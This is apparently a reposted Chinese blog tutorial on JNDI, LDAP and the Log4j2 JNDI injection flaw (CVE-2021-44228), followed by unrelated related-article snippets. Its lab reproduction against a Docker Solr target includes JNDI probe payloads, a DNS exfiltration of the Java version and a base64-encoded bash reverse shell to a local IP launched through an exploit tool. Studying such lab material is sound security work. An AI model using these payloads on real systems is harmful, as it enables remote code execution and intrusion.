JAVA安全之Log4j-Jndi注入原理以及利用方式

news2024/10/6 8:25:51
什么是JNDI?

JDNI(Java Naming and Directory Interface)是Java命名和目录接口,它提供了统一的访问命名和目录服务的API。

JDNI主要通过JNDI SPI(Service Provider Interface)规范来实现,该规范定义了对JNDI提供者应实现的接口。在JNDI体系中,JNDI提供者是指实际提供命名和目录服务的软件组件。JNDI SPI规范包含了多个接口,其中最为重要的是Context接口。

Context接口是一个通用的上下文接口,它定义了在某个环境中执行命名和目录操作的方法。在JNDI中,上下文环境通常是由JNDI提供者所定义的,它可以是本地的、远程的、文件系统的、LDAP的等等。

通过使用JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS等。这样,Java应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

JNDI目前所支持的技术包括?

JNDI(Java Naming and Directory Interface)是一个通用的命名和目录服务接口,可以与多种技术进行集成。以下是一些目前JNDI所支持的技术:

  1. 文件系统:JNDI可以与文件系统集成,允许通过文件路径来访问和管理命名和目录信息。

  2. LDAP(轻量级目录访问协议):JNDI提供了对LDAP服务器的支持,可用于访问和管理LDAP目录,如Active Directory等。

  3. DNS(域名系统):JNDI可以与DNS集成,使Java应用程序能够通过域名访问和管理命名和目录信息。

  4. RMI(远程方法调用):JNDI可以与RMI集成,允许使用RMI注册表来查找和访问远程对象。

  5. CORBA(公共对象请求代理体系结构):JNDI提供了与CORBA命名服务的集成,以便访问和管理CORBA对象。

  6. EJB(企业JavaBean):JNDI可以与EJB容器集成,用于查找和获取远程EJB对象的引用。

  7. JMS(Java消息服务):JNDI可以与JMS集成,允许查找和访问JMS连接工厂、队列和主题等消息相关的资源。

需要注意的是,JNDI可以通过自定义扩展来支持其他类型的命名和目录服务,只要相应的JNDI提供者实现了所需的SPI接口。因此,JNDI的支持范围可以通过自定义扩展进行扩展和定制。

简单来说:通过JNDI提供了"通过名称找到对应的对象"的规范定义

参考文章【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识_ove-2021-44228_程序员Daddy的博客-CSDN博客文章浏览阅读6.9k次,点赞3次,收藏23次。本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下几个方面进行讲解。1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案(2.15.0)的原理_ove-2021-44228https://blog.csdn.net/hilaryfrank/article/details/121920264

LDAN原理

目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统

Log4j2漏洞介绍

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端获取对应的Class文件,使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

javaCopy Codeimport org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
​
public class Log4jExample {
    // 获取Logger对象,参数为当前类名
    private static final Logger logger = LogManager.getLogger(Log4jExample.class);
​
    public static void main(String[] args) {
        // 示例日志输出
        logger.trace("Trace 级别日志");
        logger.debug("Debug 级别日志");
        logger.info("Info 级别日志");
        logger.warn("Warn 级别日志");
        logger.error("Error 级别日志");
        logger.fatal("Fatal 级别日志");
    }
}

${}这是一个表达式,我们可以利用表达是输出用户信息,当前时间等。

重要的是运用表达式我们就可以使用jndi协议了,例如${jndi:ldap://localhost:9999/Test} ,利用jndi请求地址为//localhost:9999的ldap服务,查找内容Test。

你怎么说//localhost:9999是一个ladp的服务呢!也许人家就是一个普通的地址呢!没错这里客户端也没法判定,也是在请求完之后判定的,这里输入dns的地址会解析吗?会,可以利用这个特点打下dnslog请求,初步确定漏洞。  

关于漏洞理解

(笔者之见)

JNDI是一个集大成者(多种技术进行集成体),

其中LDAP为目录服务,利用万物皆对象的观点,这里万物皆目录,或许是你的数据库,一个java对象,接口,或windows的c盘,注册表这些在ldap中都可能只是一个普通的目录。作为用户我们只需输入对应的目录名LDAP服务端便可返回响应结果。

假设我们用ldap服务查找某个对象。服务端返回什么?应该返回该对象对应的类吧!—— 这里就牵扯到了java对象的传输,对象的传输是java中非常会引发漏洞的地方、真实情况是服务端会返回类或类的地址,这时客服端怎么处理?加载类?目的是得到对象,所以本地类加载,通过反射,构造器的方法得到响应对象?

攻击原理图

整个攻击原理和流程如下图所示

注意looup这个方法,这个是请求ldap服务的入口。

请求ldap的参数可控意味着请求的ldap的服务器也可控,作为攻击者我们可以伪造一个ldap服务器。

这时是不是返回的内容也可控了,如果返回正常的字符串,log4j是不是就正常打印处理了。但如果我们返回的是一个恶意类的地址,作为发起请求的客户端收到这个地址会如何处理呢?也许就是触发了这个机制(开发人员没有想过这样的恶意类加载),客户端得到类的地址试图得到这个类(下载到本地)进行对象化。这样就必然会执行攻击者在类中提前设置的恶意代码。

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。这里是请求下载了恶意的.class文件

具体的源码流程分析,还是推荐看以下大佬的万字文章,真的很详细

【精选】Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理_log4j2漏洞-CSDN博客

 Log4j2漏洞复现

启用docker靶场环境

 访问web页面

漏洞地址:/solr/admin/cores?action=

payload准备

${jndi:ldap://id4cba.dnslog.cn}

 

查看dnslog平台是否正确解析

payload准备中间在插入表达式

${jndi:ldap://${sys:java.version}.id4cba.dnslog.cn}

获取反弹shell

漏洞利用需要用到ldap服务器,这里我们还是用工具一把梭哈。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.218.1"

准备的执行命令是bash -i >& /dev/tcp/192.168.218.1/4444 0>&1,仍然用base编码的方式执行

ok将ldap输入过去,同时nc监听本地端口4444

${jndi:ldap://192.168.218.1:1389/jq0hse}

查看反弹shell信息

正确返回了shell

总结

大佬画的原理图很经典,建立多看看。也建议用maven建立工程,多调试调试验证验证自己的猜想。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1187190.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

matlab中实现画函数图像添加坐标轴

大家好,我是带我去滑雪! 主函数matlab代码: function PlotAxisAtOrigin(x,y); if nargin 2 plot(x,y);hold on; elsedisplay( Not 2D Data set !) end; Xget(gca,Xtick); Yget(gca,Ytick); XLget(gca,XtickLabel); YLget(gca,YtickLabel)…

csdn初始模板【自用】

这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…

C++ Qt 学习(五):Qt Web 编程

1. Chrome 技术介绍 大多数 web 技术都是基于 chrome,例如 CEF、QCefView 以及 QWebEngineView,这些都是在 native 界面里用来显示 html 网页,并且可以与 web 交互 例如常见的登录窗口、优酷的视频区域、WPS 的稻壳商城等,这些都…

npm 下载包失败解决方案

1.【问题描述】使用 npm 下载vue项目依赖包时失败,版本不一致。 【解决方法】使用 npm install --force npm install --force 是一个命令行指令,用于在 Node.js 环境中使用 npm(Node Package Manager)安装包或模块。–force 参数表…

Apipost-Helper:IDEA中的类postman工具

今天给大家推荐一款IDEA插件:Apipost-Helper-2.0,写完代码IDEA内一键生成API文档,无需安装、打开任何其他软件;写完代码IDEA内一键调试,无需安装、打开任何其他软件;生成API目录树,双击即可快速…

AirTag追踪汽车

美国华盛顿特区,11月4日,在一项全新的抗击车辆盗窃的措施中,市长穆里尔•鲍泽签署了一项新计划,将向该市车辆盗窃频率较高的社区居民免费提供苹果AirTag追踪器。 AirTag是苹果公司推出的一款蓝牙跟踪设备,它依靠Findm…

JAVA将List转成Tree树形结构数据和深度优先遍历

引言: 在日常开发中,我们经常会遇到需要将数据库中返回的数据转成树形结构的数据返回,或者需要对转为树结构后的数据绑定层级关系再返回,比如需要统计当前节点下有多少个节点等,因此我们需要封装一个ListToTree的工具类…

Redis 键值类型及其存储结构

Redis 键值类型及其存储结构 键值类型 键的数据类型是字符串,值的类型有:字符串、列表、Hash、集合、有序集合。 键的存储和查找 Redis底层键的存储类似于Java中其他Hash存储结构:数组链表的组合。数组中存储的是Key Hash函数对数组长度取模…

《深入理解计算机系统》书籍学习笔记 - 第二课 - 位,字节和整型

Lecture 02 Bits,Bytes, and Integer 位,字节和整型 文章目录 Lecture 02 Bits,Bytes, and Integer 位,字节和整型Byte 字节位操作布尔代数集合的表现形式和操作C语言的逻辑操作 位移操作整型数值范围无符号与有符号数值无符号与有符号在C中 拓展和截断拓…

个人网厅——提取

目录 需求文档 公积金提取类 controller层 service层 service层实现类 1.验证(个人账户) 2.提交(添加) controller层 service层 service层实现类 3.分页查询 controller层 service层 service层实现类 4.详情查询 co…

键盘打字盲打练习系列之认识键盘——0

一.欢迎来到我的酒馆 盲打,yyds! 目录 一.欢迎来到我的酒馆二.开始练习 二.开始练习 经常看视频,看到别人在键盘上一通干净利索的操作,就打出想要的文字。心里突然来一句:卧槽,打字贼快啊!思索下…

【Java笔试强训】Day9(CM72 另类加法、HJ91 走方格的方案数)

CM72 另类加法 链接:另类加法 题目: 给定两个int A和B。编写一个函数返回AB的值,但不得使用或其他算数运算符。 题目分析: 代码实现: package Day9;public class Day9_1 {public int addAB(int A, int B) {// wr…

解析找不到msvcr100.dll文件的解决方法,4个方法修复msvcr100.dll

msvcr100.dll是Microsoft Visual C 2010运行库的组成部分,一些基于Visual C开发的软件运行时会依赖这个dll文件。出现“找不到msvcr100.dll”的错误提示,往往意味着这个文件在你的计算机系统中丢失或损坏,导致相关程序无法正常运行。以下是找…

【Android】画面卡顿优化列表流畅度一

卡顿渲染耗时如图: 卡顿表现有如下几个方面: 网络图片渲染耗时大上下滑动反应慢,甚至画面不动新增一页数据加载渲染时耗时比较大,上下滑动几乎没有反应,画面停止没有交互响应 背景 实际上这套数据加载逻辑已经运行…

数字化广告运营,小迈科技的关键一步

数据驱动广告运营是小迈科技提升整体经营效率、构建竞争优势的重要选择。 截止目前,小迈科技已经完成了数据驱动的广告运营体系的搭建,并通过与神策数据的深入合作,借力神策客户旅程分析平台,在广告投放、运营活动等各个环节实现了…

Samtec连接器技术前沿 | 全新对准功能确保测试和测量应用中的精确对准

【摘要/前言】 Samtec开发了一种创新的易于使用的对准技术,以确保测试和测量应用中的精密、高频压缩安装连接器的峰值性能。下面解释了我们所看到的趋势,并概述了我们针对出现的常见对准挑战所开发的解决方案。 【问题所在】 随着数据传输率的不断提高…

C++的Odyssey之旅——STL

W...Y的主页 😊 代码仓库分享💕 🍔前言:我们已经将基本语法了解的差不多了,现在我们就该进入C中最重要也是最富有特点的一部分——STL。在学习C语言中我们想要使用顺序表、链表等一些数据结构进行做题时都需要进行这…

pyinstaller 错误排查的验证史

在pyinstaller打包时出现如下错误,很明显感觉是路径被转义 或者历史迁移导致的 报错路径:OSError: [WinError 123] 文件名、目录名或卷标语法不正确。: D:\t_job\x07naconda3_20201121\\Lib\\site-packages 安装路径:File "D:\11_job\…

这些机器视觉工程师犯法了,竟然在闲鱼或淘宝上卖公司的机器视觉程序架构源码

目录 ​从个人层面来讲:从公司层面来讲: ​从个人层面来讲: 个人是法盲,法律意识淡薄只是一方面,另外一个方面就是对于代码的所有权,以及代码的安全性重视不够。把机器视觉程序架构源码打包在闲鱼或淘宝上…

软件测试/测试开发丨接口测试Mock实战练习学习笔记

点此获取更多相关资料 本文为霍格沃兹测试开发学社学员学习笔记分享 原文链接:https://ceshiren.com/t/topic/27857 一、Rewrite 1.1、Rewrite 原理 1.2、Rewrite 实战 Tools → Rewrite 勾选 Enable Rewrite 点击下方 Add 按钮新建一个重写的规则 在右侧编辑重…